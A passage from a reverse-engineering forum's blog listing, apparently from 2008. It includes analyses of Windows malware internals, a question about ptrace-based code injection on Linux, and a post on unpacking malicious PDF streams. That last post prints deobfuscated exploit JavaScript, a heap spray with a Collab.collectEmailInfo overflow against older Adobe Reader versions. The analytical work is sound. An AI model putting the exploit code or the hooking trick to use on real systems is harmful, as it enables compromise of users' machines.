It replaces the original data with something else. It’s more or less always the same trick, you exchange the old value with a new preferred one!


…Finally, a call to GetNearestPaletteIndex will indirectly cause the function to be executed…
The next call to GetNearestPaletteIndex will call what I have named hook_hidden_function, the hidden dangerous routine. To understand how the trick works you have to look inside win32k.sys, here’s part of GetNearestPaletteIndex:
Code:
00402A73 push 0
00402A75 push [ebp+hO]
00402A78 call GetNearestPaletteIndex
   ...
BF94B4AF mov  esi, [ebp+8]          ; esi -> fake structure created between 402A4E and 402A6E
   ...
BF94B4E0 call dword ptr [esi+3Ch]   ; esi+3C points to hook_hidden_function!!!
The malware will call the hidden function, you ignore it until you’ll realize that the machine is compromised. Nice trick indeed.
The malware seems to have some more interesting features, I hope to write something else about it in the next days.
ZaiRoN's Avatar
Red wine, not vodka!
Posted in Uncategorized
Views 1104 Comments 3 ZaiRoN is offline
Old

Malware and initial stack pointer value

Posted 11-25-2008 at 10:15 AM by ZaiRoN

An old blog entry I forgot to import from my blog at Wordpress...


Here are the first lines of a malware I was looking at some days ago (MD5: DA4B7EF93C588AD799F1A1C5AFB6CFAD). The malware is packed, I think with an home made packer; 40107C is the entry point, the first line of the loader’s code. The code is filled with useless instructions, nothing hard but if you want to study the entire loader you have to pay attention on every single lines of code. This time I’m not interested in the loader itself, but I’ll focus my attention on a strange behaviour, something I have never noticed before. The malware crashes at 4010AC on XP sp3 machine but it works fine on XP with service pack 1 or 2.
Code:
40107C ADD ECX,DWORD PTR SS:[ESP]   ; useless
40107F MOV ESI,-70                  ; useless
401084 ADD EDI,EAX                  ; useless
401086 MOV ECX,2AFFC5C8             ; useless
40108B ROL ECX,1                    ; useless
40108E ROR EDX,15                   ; useless
401091 MOV EDI,ESP                  ; edi = 12FFC4
401093 MOV EDX,FE000001             ; edx = 0xFE000001
401098 ROL EDX,7                    ; edx = 0xFF
40109B SUB EAX,EBX                  ; useless
40109D AND EDI,EDX                  ; edi = 0x12FFC4 && 0xFF = 0xC4
40109F MOV EDX,25FE0                ; edx = 0x25FE0
4010A4 ROL EDX,3                    ; edx = 0x12FF00
4010A7 ADD EDX,EDI                  ; edx = 0x12FFC4
4010A9 SAL ECX,11                   ; useless
4010AC MOV EAX,DWORD PTR DS:[EDX]   ; eax = 0x77E5EB69
The comments are taken from a XP sp1 debugging session. At the end of the snippet eax points to ExitThread’s parameter, the one inside BaseProcessStart. There’s nothing interesting in these few lines of code, but it’s always better to open your eyes when there are hardcoded values around. I’m referring to value 0×12FF00 (hardcoded is not totally right but the sense is the same). It’s not obvious but this piece of code could not work on every single machine. Seems like the author was sure about the initial stack address value. I don’t know when the malware was written, but this piece of code crashes on XP machine with Service Pack 3. Maybe the malware was written before the final release of the latest service pack, I dont know. Here is the same code tested on a machine running XP sp3 :
Code:
401091 MOV EDI,ESP                  ; edi = 13FFC4
401093 MOV EDX,FE000001             ; edx = 0xFE000001
401098 ROL EDX,7                    ; edx = 0xFF
40109D AND EDI,EDX                  ; edi = 0x13FFC4 && 0xFF = 0xC4
40109F MOV EDX,25FE0                ; edx = 0x25FE0
4010A4 ROL EDX,3                    ; edx = 0x12FF00
4010A7 ADD EDX,EDI                  ; edx = 0x12FFC4
4010AC MOV EAX,DWORD PTR DS:[EDX]   ; CRASH!!!
The initial stack address is not the same, this time it’s 0×13FFC4. The malware was expecting to see 0×12FFC4, but the value it was looking for is stored inside 0×13FFC4 address.

Who decide which kind of value should be assigned to esp? 12FFC4 or 13FFC4?
My investigation started from kernel32.CreateProcessInternalW function. All the code refers to a XP sp3 machine, but sp1 code is almost equal.
Code:
7C819DE1  mov  eax, [ebp+MaximumStackSize]
7C819DE7  lea  ecx, [ebp+InitialTEB]
7C819DED  push ecx                          ; InitialTEB
7C819DEE  push eax                          ; MaximumStackSize
7C819DEF  push [ebp+StackSize]              ; StackSize
7C819DF5  push [ebp+hProcess]               ; hProcess
7C819DFB  call _BaseCreateStack@16          ; BaseCreateStack(x,x,x,x)
7C819E00  mov  [ebp+var_9EC], eax           ; eax = 0 means SUCCESS
7C819E06  cmp  eax, ebx                     ; ebx = 0
7C819E08  jl   _BaseSetLastNTError          ; Jump to error check
7C819E0E  push ebx                          ; NULL
7C819E0F  push [ebp+InitialSP]              ; Stack pointer
7C819E15  push [ebp+InitialPC]              ; Program counter
7C819E1B  push [ebp+Parameter]              ; Parameter
7C819E21  lea  eax, [ebp+Context]
7C819E27  push eax                          ; Context
7C819E28  call _BaseInitializeContext@20    ; BaseInitializeContext(x,x,x,x,x)
This is where the new process’s context will be initialized. This is only an initialization, you won’t see the final values (values at EP of the new process) of each register, but it’s enough to understand why the esp values are not equal.
There are two functions in the snippet above, BaseCreateStack is used to create a stack for the process to run. BaseInitializeContext, as suggested by the name, initializes the context structure using some values obtained by the previous function. Let’s start with the first one: BaseCreateStack.
Firstly, it checks two values: MaximumStackSize and StackSize. Both of them are loaded from the process to run using NtQuerySection. Among all the information of a PE header there are two fields named SizeOfStackReserve and SizeOfStackCommit that are taken and saved by the system as MaximumStackSize and StackSize. Msdn has a description of the fields:
SizeOfStackReserve: the number of bytes to reserve for the stack. Only the memory specified by the SizeOfStackCommit member is committed at load time; the rest is made available one page at a time until this reserve size is reached.
SizeOfStackCommit: the number of bytes to commit for the stack.
Ok, now the system is going to check if they are valid or not:
Code:
7C8102B5 mov  eax, large fs:18h               ; eax = TEB
7C8102BB mov  ecx, [eax+30h]                  ; ecx = PEB
...
7C8102D2 push dword ptr [ecx+8]               ;  PEB->ImageBaseAddress
...
7C8102DB call ds:__imp__RtlImageNtHeader@4    ; RtlImageNtHeader(x)
7C8102E1 test eax, eax
7C8102E3 jz   failure
7C8102E9 mov  ecx, [ebp+MaximumStackSize]
7C8102EC test ecx, ecx                      ; is MaximumStackSize zero?
7C8102EE mov  edx, [eax+IMAGE_NT_HEADERS.OptionalHeader.SizeOfStackCommit]
7C8102F1 jnz  short MaximumStackSize_not_zero
7C8102F3 mov  ecx, [eax+IMAGE_NT_HEADERS.OptionalHeader.SizeOfStackReserve]
7C8102F6 mov  [ebp+MaximumStackSize], ecx
If MaximumStackSize has a not zero value the flow goes on otherwise it’s necessary to set a value to this variable. Which is this value? It’s the one taken from the process’s PE header pointed by PEB->ImageBaseAddress.
Ok, now it’s time for a check over the other variable; the check is pretty similar to the previous one:
Code:
7C8102F9 MaximumStackSize_not_zero:
7C8102F9 mov  eax, [ebp+StackSize]
7C8102FC test eax, eax                ; Is StackSize zero?
7C8102FE push edi
7C8102FF mov  edi, 0FFF00000h
7C810304 jnz  StackSize_not_zero
7C81030A mov  eax, edx
...
If StackSize is zero the content of the variable is filled with the value taken some lines above at 7C8102EE: SizeOfStackCommit. It’s almost the same check I described for MaximumStackSize.
If the values are not zero, the system checks them again, just to be sure they are valid:
Code:
7C80AFC2 cmp  eax, ecx             ; compare between StackSize and MaximumStackSize
7C80AFC4 jb   loc_7C81030C
7C80AFCA lea  ecx, [eax+0FFFFFh]           ;
7C80AFD0 and  ecx, edi                     ; fix MaximumStackSize
7C80AFD2 mov  [ebp+MaximumStackSize], ecx  ;
7C80AFD5 jmp  loc_7C81030C
StackSize must be minor than MaximumStackSize, if it doesn’t happen the system raise up MaximumStackSize. Now that the initial check is complete the function proceeds working on some alignment stuff, not so interesting per se. I can pass over this part reaching an interesting snippet:
Code:
7C81036F mov  ebx, ds:__imp__NtAllocateVirtualMemory@24 ; NtAllocateVirtualMemory(x,x,x,x,x,x)

...
7C81037A push PAGE_READWRITE                  ; Protect: PAGE_READ_WRITE
...
7C810380 push MEM_RESERVE                     ; AllocationType: MEM_RESERVE
7C810385 lea  eax, [ebp+MaximumStackSize]
7C810388 push eax                             ; RegionSize = MaximumStackSize
7C810389 push 0                               ; ZeroBits = 0
7C81038B lea  eax, [ebp+_BaseAddress]
7C81038E push eax                             ; BaseAddress = 0;
7C81038F push [ebp+hProcess]                  ; ProcessHandle
7C810392 mov  [ebp+MaximumStackSize], ecx
7C810395 call ebx                             ; NtAllocateVirtualMemory
The system reserves the right address space for the stack. It reserves MaximumStackSize bytes starting from an address chosen by the system; the address is the first available address inside the virtual space. The chosen address is stored inside BaseAddress and it’s used to update the content of InitialTeb->StackAllocationBase field:

Code:
7C81039F mov  edi, [ebp+InitialTEB]
7C8103A2 mov  ecx, [ebp+_BaseAddress]
7C8103A5 mov  eax, [ebp+MaximumStackSize]
7C8103A8 and  [edi+INITIAL_TEB.PreviousStackBase], 0
7C8103AB and  [edi+INITIAL_TEB.PreviousStackLimit], 0
7C8103AF mov  [edi+INITIAL_TEB.AllocateStackBase], ecx
The stack is created, there are 3 fields to set and for now the system updates the bottom of the stack only.
Code:
7C8103B2 add  ecx, eax
7C8103B4 mov  [edi+INITIAL_TEB.StackBase], ecx
InitialTeb->StackBase = BaseAddress + MaximumStackSize
The system sets up the stack area by giving the upper and lower bound. The initial stack value is StackBase...
ZaiRoN's Avatar
Red wine, not vodka!
Posted in Uncategorized
Views 987 Comments 1 ZaiRoN is offline
Old

Shared object injection on linux/unix

Posted 11-13-2008 at 05:33 AM by Quake2

Hi, I'm almost new here
I've been pointed here by a friend of mine (hi Daniel ) who suggested me to post to this blog.

In the past few weeks, being a little bored I've done some research on Linux and tried to do the usual weird things done by reversers. So I've researched a bit the field related to code injection, which is a topic almost never discussed on Linux (at least, I've found really few topics on it) and on other UNIX-like systems (mainly FreeBSD and OSX, since they're the most popular ones).

So to summarize the results obtained so far I've written an article divided in two parts (the first is out, the second will come out in the next few days), the first one is just an introduction to the ELF file format and some observation on its loading phase.

The first part can be found here: http://lamp.codeproject.com/KB/cpp/shared_object_injection_1.aspx
I've hosted it on codeproject since I don't own any webspace, but their article submitting facility really sucks and didn't allow me to post the attachment (which I attached to this post).

Now the first part might be a bit boring, since is just an introduction, but the next part will come soon. Anyway, let me know what you think about this research topic.

There's a lot of things that needs to be cleared on this topic, unfortunately there's not much informations about them (you might say "read the source code", eh... not an easy thing on Linux and anyway reading the source takes too much time), here's some points that needs discussion:

1) why uselib() syscall does not work anymore from 2.6 kernel? Actually calling it always returns "Invalid object file format"

2) since the /proc filesystem is being slowly replaced with the /sys filesystem, is there anyway to obtain the memory map of a running process other than relying on these filesystems?

3) since most UNIX systems lack the /proc filesystem, how to obtain the memory map on them? There's a lot of information on undocumented and unsupported ways to do it, but undocumented things are always evil (moreover on linux, where they keep changing at an insanely high rate )

4) reliability of the ptrace interface, on OSX it has been heavily modified to avoid tracing applications which make use of DRM (actually hacking the kernel with a kext will remove this limitation, but in the kext you have to modify absolute addresses, which will easily change between kernel builds). On *BSD it seems to work, but I did not investigated much on it, what about Solaris? (which, anyway, is not a desktop-oriented system, so it has much lower priority on my list )

5) alternatives to ptrace? Actually ptrace is used to stop a running process, attach to it, reading/writing from/to its memory, int1/int3 breakpoint signaling. ptrace seems to be the only "standard" debug api amongst UNIX systems, any ideas?

6) what about processes which avoid being traced by forking themselves and using ptrace(PTRACE_TRACEME, ...) ? This works since looking at the implementation of ptrace(), we can see that if there's a process which is already tracing our target process, the second attach will fail, any ideas to bypass this?

my guidlines in this research are:

1) the priority is that it works on Linux, then OSX, then any other UNIX, but the important ones are Linux and OSX.

2) it should make use of standard and well-documented interfaces, so they won't change in the near future

3) on Linux, it should work across different distributions, so it should not rely on functions which are patched for a particular distro..., this is not a problem on OSX, since actually almost everyone has upgraded to Leopard

4) the most important one, everything should be "privilege-free", I mean, actually the technique I use works without being root or using some privilege-escalation techniques, since with ptrace, a user can attach to his own processes, which is what I want

5) the LD_PRELOAD method should be avoided as much as possible, since it requires the process to be restarted and will not work on setuid(0) executables.

so, any informations, links, bits of text, "Once upon a time a friend of mine told me...", everything you might ever have heared about this...is really appreciated , I'm trying to collect as much informations as possible

I'll update this blog entry as soon as the second part comes out and I will keep it updated as I start my reseach on OSX, which will come after I've done with Linux...

This will be a slow research, since I'm doing it on my spare time, but I thought that it would be nice to start sharing the results, you know...I'm a scientist and collaboration is at the heart of science and progress

Thanks for your time reading this, see you next post
Attached Files
File Type: zip so_inject_1.zip (5.8 KB, 429 views)
Registered User
Posted in Uncategorized
Views 1630 Comments 8 Quake2 is offline
Old

Trojan.Zhelatin.pk

Posted 11-02-2008 at 01:47 AM by evilcry

Hello,

Here a little overview of Trojan.Zhelatin.pk one of the first versions of this Malware.

http://evilcry.netsons.org/tuts/Mw/Zhelatin.pdf

Have a nice Read

Regards,
Giuseppe 'Evilcry' Bonfa'
Registered User
Views 1214 Comments 3 evilcry is offline
Old

On Analysis of Client-Server Software Applications

Posted 10-11-2008 at 01:03 PM by evilcry

Hi,

Initially was a closed paper, now I rewritten it a bit. Here a little Abstract:

The principal objective of this paper is to give a good detailed
panoramic view of the Security aspects involved in Client-Server based
Applications. The panoramics will be seen from the point of view of a
Reverse Engineer that should be aware of the Security Problems that are
directly releated to the Client-Server Software Structure.


and here the link:

http://evilcry.netsons.org/tuts/CSAnalysis.pdf

Regards,
Evilcry
Registered User
Views 1210 Comments 0 evilcry is offline
Old

Interesting Kernel32 Constant

Posted 10-10-2008 at 05:47 AM by Arcane
Updated 10-11-2008 at 08:39 AM by Arcane

while i was doing some Research i stumpled on something which i found very interesting , i was attempting to Change the Location of Peb->ProcessHeap , which i did successfully , but the application still continued to use the Old Heap , which i dident want , so i startet digging and came across something ive never seen before.

in the Api LocalAlloc i found that it keeps a Constant copy of Peb->ProcessHeap inside Kernel32 itself.

7C809A63 FF35 A453887C PUSH DWORD PTR DS:[7C8853A4] -> contains copy of Peb->ProcessHeap

so modifying the PEB only had limited success , but changeing this Value aswell . fixed my problem.

i guess pretty clearly this Push ..should have been a call GetProcessHeap() instead , or somebody else has a view why windows would do like this ?

enjoy
Registered User
Posted in Uncategorized
Views 1131 Comments 3 Arcane is offline
Old

Analyzing Malicious PDF's

Posted 10-03-2008 at 01:43 PM by joren

The author of Malzilla released a tool recently titled 'PDF steams inflater'. It takes zlib compressed streams, decompresses them, and reveals the output.

If you open a PDF file in a text editor these areas are denoted like so:

Code:
stream
xœ¥Wmoâ:þ¾Òþ‡¨Ò®@3í&tŠz©È
…..
endstream
It works quite well, as I threw it a malicious PDF I had and received the following output:

Code:
....

function evil(){
var b=app.viewerVersion.toString();
b=b.replace(/\D/g,'');
var c = new Array(b.charAt(0),b.charAt(1),b.charAt(2));
if((c[0]==8&&((c[1]==1&&c[2]<2)||c[1]<1))||(c[0]==7&&c[1]<1)||(c[0]<7)){
	d();
	var e=unescape("%u0c0c%u0c0c");
	while(e.length<44952)
		e+=e;
	this.collabStore=Collab.collectEmailInfo({subj: "",msg: e});
	}
}
A simple Google search reveals this an attempt at exploiting an overflow vulnerability in Adobe's JS engine.

Overall, a great tool that everyone should throw into their arsenal.

Original post and links to download the tool can be found here
Registered User
Posted in Uncategorized
Views 1352 Comments 0 joren is offline

Just in case...Please update your bookmarks to http://woodmann.cjb.net
Direct link : http://71.6.196.237/forum/

Some Useful Places
Fravia's Searchlores
Fravia's Original Reversing Site
Krobars Collection of tutorials
OllyStuph OllyDbg Resources
A complete searchable archive of the forum in .CHM format is available (updated Jan 6, 2010)
here (28.2 Mb zip)
Please do not ask for cracks, instead read this.

Started 10 May 1999

All times are GMT -5. The time now is 08:28 AM.


Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd.